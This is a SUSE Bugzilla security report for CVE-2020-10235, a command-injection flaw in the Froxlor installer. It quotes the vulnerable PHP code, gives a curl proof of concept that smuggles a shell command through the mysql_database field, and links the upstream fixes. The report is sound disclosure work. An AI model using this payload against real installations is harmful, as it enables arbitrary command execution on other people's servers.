

Bug 1165721 (CVE-2020-10235) VUL-0: CVE-2020-10235: froxlor: installer allows user to execute arbitrary code on the host

Status: RESOLVED WONTFIX

Classification:

Novell Products

Product:

SUSE Security Incidents

Component:

Incidents

Version:

unspecified

Hardware:

Other Other

Priority:

P3 - Medium

Severity:

Normal

Target Milestone: ---

Assigned To:

Andrej Semen

QA Contact:

Security Team bot

URL:

Whiteboard:

Keywords:

Depends on:

Blocks:

Show dependency tree / graph

Create test case

Clone This Bug

Reported:

2020-03-04 16:48 UTC by Johannes Segitz

Modified:

2020-03-09 15:12 UTC (History)

CC List:

0 users

See Also:

Found By:

Services Priority:

Business Priority:

Blocker:

Attachments

[Add an attachment](#) (proposed patch, testcase, etc.)

Note

You need to [log in](#) before you can comment on or make changes to this bug.

Johannes Segitz 2020-03-04 16:48:15 UTC

Description

Line numbers are from current git master, but it's also present in froxlor in Factory

```
738             $command = $mysql_dump . " " . $this->data['mysql_root_user'] . " --
>_data['mysql_database']] . " -u " . $this->data['mysql_root_user'] . " --
password=" . $this->data['mysql_root_password'] . " --result-file=" .
$filename;
739             $output = `exec($command);`
```

The user who installs Froxlor can execute arbitrary commands on the server by setting mysql_database accordingly.

POC:

```
curl -v 'http://192.168.122.254/Froxlor/install/install.php?check=1' -H
'Content-Type: application/x-www-form-urlencoded' --data
'mysql_host=127.0.0.1&mysql_database=froxlor%3Btouch+%2F/tmp/owned%3B&mysql_unpriv_us
```

You need to run it twice since it only triggers if the specified database exists. After calling it twice you should have a file

```
-rw-r--r-- 1 wwwrun www ? 0 Mar  4 17:03 /tmp/owned
```

Johannes Segitz 2020-03-09 12:36:43 UTC

Comment 2

Fix:

<https://github.com/Froxlor/Froxlor/commit/7e361274c5bf687b6a42dd1871f6d75506c5d207>

<https://github.com/Froxlor/Froxlor/commit/62ce21c9ec393f9962515c88f0c489ace42bf656>

Johannes Segitz 2020-03-09 15:12:48 UTC

Comment 3

This is CVE-2020-10235. Nothing to do for SLE